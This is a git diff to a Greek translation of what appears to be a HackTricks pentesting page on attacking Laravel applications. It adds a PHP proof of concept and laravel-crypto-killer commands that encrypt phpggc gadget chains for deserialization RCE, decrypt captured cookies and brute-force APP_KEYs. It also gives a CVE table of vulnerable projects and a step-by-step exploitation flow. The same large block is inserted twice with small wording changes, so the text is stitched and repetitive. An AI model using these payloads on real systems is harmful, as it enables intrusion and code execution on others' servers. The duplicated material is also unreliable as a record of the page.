diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md index 0de7506c4..59d553c1a 100644 --- a/src/network-services-pentesting/pentesting-web/laravel.md +++ b/src/network-services-pentesting/pentesting-web/laravel.md @@ -1,28 +1,115 @@ # Laravel +{{#include /banners/hacktricks-training.md}} + +### Laravel SQLInjection + +Διαβάστε πληροφορίες σχετικά με αυτό εδώ: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) + +--- + +## APP_KEY & Encryption internals (Laravel \u003e=5.6) + +Το Laravel χρησιμοποιεί AES-256-CBC (ή GCM) με HMAC ακεραιότητα στο παρασκήνιο (`Illuminate\\Encryption\\Encrypter`). +Ο ακατέργαστος κρυπτογραφημένος κώδικας που τελικά **αποστέλλεται στον πελάτη** είναι **Base64 ενός αντικειμένου JSON** όπως: +```json +{ +"iv" : "Base64(random 16-byte IV)", +"value": "Base64(ciphertext)", +"mac" : "HMAC_SHA256(iv||value, APP_KEY)", +"tag" : "" // only used for AEAD ciphers (GCM) +} +``` +`encrypt($value, $serialize=true)` θα `serialize()` το απλό κείμενο από προεπιλογή, ενώ +`decrypt($payload, $unserialize=true)` **θα αυτόματα `unserialize()`** την αποκρυπτογραφημένη τιμή. +Επομένως **οποιοσδήποτε επιτιθέμενος γνωρίζει το 32-byte μυστικό `APP_KEY` μπορεί να δημιουργήσει ένα κρυπτογραφημένο PHP serialized αντικείμενο και να αποκτήσει RCE μέσω μαγικών μεθόδων (`__wakeup`, `__destruct`, …)**. + +Ελάχιστο PoC (framework ≥9.x): +```php +use Illuminate\Support\Facades\Crypt; + +$chain = base64_decode(''); // e.g. phpggc Laravel/RCE13 system id -b -f +$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste +``` +Εισάγετε τη παραγόμενη συμβολοσειρά σε οποιαδήποτε ευάλωτη `decrypt()` πηγή (παράμετρος διαδρομής, cookie, συνεδρία, …). + +--- + +## laravel-crypto-killer 🧨 +[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) αυτοματοποιεί ολόκληρη τη διαδικασία και προσθέτει μια βολική λειτουργία **bruteforce**: +```bash +# Encrypt a phpggc chain with a known APP_KEY +laravel_crypto_killer.py encrypt -k "base64:" -v "$(phpggc Laravel/RCE13 system id -b -f)" + +# Decrypt a captured cookie / token +laravel_crypto_killer.py decrypt -k -v + +# Try a word-list of keys against a token (offline) +laravel_crypto_killer.py bruteforce -v -kf appkeys.txt +``` +Το σενάριο υποστηρίζει διαφανώς τόσο τα payloads CBC όσο και GCM και αναγεννά το πεδίο HMAC/tag. + +--- + +## Πραγματικά ευάλωτα μοτίβα + +| Έργο | Ευάλωτη πηγή | Αλυσίδα gadget | +|---------|-----------------|--------------| +| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 | +| Snipe-IT ≤v6 (CVE-2024-48987) | Cookie `XSRF-TOKEN` όταν είναι ενεργοποιημένο το `Passport::withCookieSerialization()` | Laravel/RCE9 | +| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → Cookie `laravel_session` | Laravel/RCE15 | + +Η ροή εκμετάλλευσης είναι πάντα: +1. Απόκτηση `APP_KEY` (προεπιλεγμένα παραδείγματα, διαρροή Git, διαρροή config/.env ή brute-force) +2. Δημιουργία gadget με **PHPGGC** +3. `laravel_crypto_killer.py encrypt …` +4. Παράδοση payload μέσω της ευάλωτης παραμέτρου/cookie → **RCE** + +--- + +## Μαζική ανακάλυψη APP_KEY μέσω brute-force cookie + +Δεδομένου ότι κάθε νέα απάντηση Laravel ορίζει τουλάχιστον 1 κρυπτογραφημένο cookie (`XSRF-TOKEN` και συνήθως `laravel_session`), **δημόσιοι σαρωτές διαδικτύου (Shodan, Censys, …) διαρρέουν εκατομμύρια ciphertexts** που μπορούν να επιτεθούν offline. + +Κύρια ευρήματα της έρευνας που δημοσιεύθηκε από τη Synacktiv (2024-2025): +* Dataset Ιουλίου 2024 » 580 k tokens, **3.99 % κλειδιά σπασμένα** (≈23 k) +* Dataset Μαΐου 2025 » 625 k tokens, **3.56 % κλειδιά σπασμένα** +* >1 000 διακομιστές εξακολουθούν να είναι ευάλωτοι σε παλαιά CVE-2018-15133 επειδή τα tokens περιέχουν άμεσα σειριοποιημένα δεδομένα. +* Μεγάλη επαναχρησιμοποίηση κλειδιών – τα Top-10 APP_KEYs είναι σκληρά κωδικοποιημένα defaults που αποστέλλονται με εμπορικά πρότυπα Laravel (UltimatePOS, Invoice Ninja, XPanel, …). + +Το ιδιωτικό εργαλείο Go **nounours** προωθεί την απόδοση brute-force AES-CBC/GCM σε ~1.5 δισεκατομμύρια δοκιμές/δευτερόλεπτο, μειώνοντας την πλήρη σπασμένη συλλογή σε <2 λεπτά. + +--- + +## Αναφορές +* [Laravel: Ανάλυση διαρροής APP_KEY](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) +* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) +* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc) +* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) + {{#include ../../banners/hacktricks-training.md}} ## Laravel Tricks -### Debugging mode +### Λειτουργία αποσφαλμάτωσης -Αν το Laravel είναι σε **λειτουργία αποσφαλμάτωσης**, θα μπορείτε να έχετε πρόσβαση στον **κώδικα** και σε **ευαίσθητα δεδομένα**.\ +Εάν το Laravel είναι σε **λειτουργία αποσφαλμάτωσης**, θα μπορείτε να έχετε πρόσβαση στον **κώδικα** και σε **ευαίσθητα δεδομένα**.\ Για παράδειγμα `http://127.0.0.1:8000/profiles`: ![](<../../images/image (1046).png>) -Αυτό συνήθως απαιτείται για την εκμετάλλευση άλλων CVEs RCE του Laravel. +Αυτό είναι συνήθως απαραίτητο για την εκμετάλλευση άλλων CVEs RCE του Laravel. ### .env -Το Laravel αποθηκεύει την APP που χρησιμοποιεί για την κρυπτογράφηση των cookies και άλλων διαπιστευτηρίων μέσα σε ένα αρχείο που ονομάζεται `.env`, το οποίο μπορεί να προσπελαστεί χρησιμοποιώντας κάποια διαδρομή πλοήγησης κάτω από: `/../.env` +Το Laravel αποθηκεύει το APP που χρησιμοποιεί για να κρυπτογραφήσει τα cookies και άλλα διαπιστευτήρια μέσα σε ένα αρχείο που ονομάζεται `.env`, το οποίο μπορεί να προσπελαστεί χρησιμοποιώντας κάποια διαδρομή πλοήγησης κάτω από: `/../.env` -Το Laravel θα δείξει επίσης αυτές τις πληροφορίες μέσα στη σελίδα αποσφαλμάτωσης (που εμφανίζεται όταν το Laravel βρίσκει ένα σφάλμα και είναι ενεργοποιημένο). +Το Laravel θα δείξει επίσης αυτές τις πληροφορίες στη σελίδα αποσφαλμάτωσης (που εμφανίζεται όταν το Laravel βρίσκει ένα σφάλμα και είναι ενεργοποιημένο). -Χρησιμοποιώντας το μυστικό APP_KEY του Laravel μπορείτε να αποκρυπτογραφήσετε και να ξανακρυπτογραφήσετε τα cookies: +Χρησιμοποιώντας το μυστικό APP_KEY του Laravel, μπορείτε να αποκρυπτογραφήσετε και να ξανακρυπτογραφήσετε cookies: -### Decrypt Cookie +### Αποκρυπτογράφηση Cookie ```python import os import json @@ -85,18 +172,102 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2 Ευάλωτες εκδόσεις: 5.5.40 και 5.6.x έως 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) -Εδώ μπορείτε να βρείτε πληροφορίες σχετικά με την ευπάθεια αποσυμπίεσης: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) +Εδώ μπορείτε να βρείτε πληροφορίες σχετικά με την ευπάθεια αποσειριοποίησης: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) Μπορείτε να το δοκιμάσετε και να το εκμεταλλευτείτε χρησιμοποιώντας [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ Ή μπορείτε επίσης να το εκμεταλλευτείτε με το metasploit: `use unix/http/laravel_token_unserialize_exec` ### CVE-2021-3129 -Μια άλλη αποσυμπίεση: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) +Μια άλλη αποσειριοποίηση: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) ### Laravel SQLInjection Διαβάστε πληροφορίες σχετικά με αυτό εδώ: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) +### Laravel SQLInjection + +Διαβάστε πληροφορίες σχετικά με αυτό εδώ: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) + +--- + +## APP_KEY & Encryption internals (Laravel \u003e=5.6) + +Το Laravel χρησιμοποιεί AES-256-CBC (ή GCM) με HMAC ακεραιότητα στο παρασκήνιο (`Illuminate\\Encryption\\Encrypter`). +Ο ακατέργαστος κρυπτογραφημένος κώδικας που τελικά **αποστέλλεται στον πελάτη** είναι **Base64 ενός αντικειμένου JSON** όπως: +```json +{ +"iv" : "Base64(random 16-byte IV)", +"value": "Base64(ciphertext)", +"mac" : "HMAC_SHA256(iv||value, APP_KEY)", +"tag" : "" // only used for AEAD ciphers (GCM) +} +``` +`encrypt($value, $serialize=true)` θα `serialize()` το απλό κείμενο από προεπιλογή, ενώ +`decrypt($payload, $unserialize=true)` **θα αυτόματα `unserialize()`** την αποκρυπτογραφημένη τιμή. +Επομένως **οποιοσδήποτε επιτιθέμενος γνωρίζει το 32-byte μυστικό `APP_KEY` μπορεί να δημιουργήσει ένα κρυπτογραφημένο PHP serialized αντικείμενο και να αποκτήσει RCE μέσω μαγικών μεθόδων (`__wakeup`, `__destruct`, …)**. + +Ελάχιστο PoC (framework ≥9.x): +```php +use Illuminate\Support\Facades\Crypt; + +$chain = base64_decode(''); // e.g. phpggc Laravel/RCE13 system id -b -f +$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste +``` +Εισάγετε τη παραγόμενη συμβολοσειρά σε οποιαδήποτε ευάλωτη `decrypt()` πηγή (παράμετρος διαδρομής, cookie, συνεδρία, …). + +--- + +## laravel-crypto-killer 🧨 +[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) αυτοματοποιεί ολόκληρη τη διαδικασία και προσθέτει μια βολική λειτουργία **bruteforce**: +```bash +# Encrypt a phpggc chain with a known APP_KEY +laravel_crypto_killer.py encrypt -k "base64:" -v "$(phpggc Laravel/RCE13 system id -b -f)" + +# Decrypt a captured cookie / token +laravel_crypto_killer.py decrypt -k -v + +# Try a word-list of keys against a token (offline) +laravel_crypto_killer.py bruteforce -v -kf appkeys.txt +``` +Το σενάριο υποστηρίζει διαφανώς τόσο τα payloads CBC όσο και GCM και αναγεννά το πεδίο HMAC/tag. + +--- + +## Πραγματικοί ευάλωτοι τύποι + +| Έργο | Ευάλωτη πηγή | Αλυσίδα gadget | +|---------|-----------------|--------------| +| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 | +| Snipe-IT ≤v6 (CVE-2024-48987) | Cookie `XSRF-TOKEN` όταν είναι ενεργοποιημένο το `Passport::withCookieSerialization()` | Laravel/RCE9 | +| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → Cookie `laravel_session` | Laravel/RCE15 | + +Η ροή εκμετάλλευσης είναι πάντα: +1. Απόκτηση `APP_KEY` (προεπιλεγμένα παραδείγματα, διαρροή Git, διαρροή config/.env ή brute-force) +2. Δημιουργία gadget με **PHPGGC** +3. `laravel_crypto_killer.py encrypt …` +4. Παράδοση payload μέσω της ευάλωτης παραμέτρου/cookie → **RCE** + +--- + +## Μαζική ανακάλυψη APP_KEY μέσω brute-force cookie + +Επειδή κάθε νέα απάντηση Laravel ορίζει τουλάχιστον 1 κρυπτογραφημένο cookie (`XSRF-TOKEN` και συνήθως `laravel_session`), **δημόσιοι σαρωτές διαδικτύου (Shodan, Censys, …) διαρρέουν εκατομμύρια ciphertexts** που μπορούν να επιτεθούν offline. + +Κύρια ευρήματα της έρευνας που δημοσιεύθηκε από τη Synacktiv (2024-2025): +* Dataset Ιούλιος 2024 » 580 k tokens, **3.99 % κλειδιά σπασμένα** (≈23 k) +* Dataset Μάιος 2025 » 625 k tokens, **3.56 % κλειδιά σπασμένα** +* >1 000 διακομιστές εξακολουθούν να είναι ευάλωτοι σε κληρονομημένο CVE-2018-15133 επειδή τα tokens περιέχουν άμεσα σειριοποιημένα δεδομένα. +* Μεγάλη επαναχρησιμοποίηση κλειδιών – τα Top-10 APP_KEYs είναι σκληρά κωδικοποιημένα προεπιλεγμένα που αποστέλλονται με εμπορικά πρότυπα Laravel (UltimatePOS, Invoice Ninja, XPanel, …). + +Το ιδιωτικό εργαλείο Go **nounours** προωθεί την απόδοση brute-force AES-CBC/GCM σε ~1.5 δισεκατομμύρια δοκιμές/δευτερόλεπτο, μειώνοντας την πλήρη κωδικοποίηση dataset σε <2 λεπτά. + +--- + +## Αναφορές +* [Laravel: Ανάλυση διαρροής APP_KEY](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) +* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) +* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc) +* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) {{#include ../../banners/hacktricks-training.md}}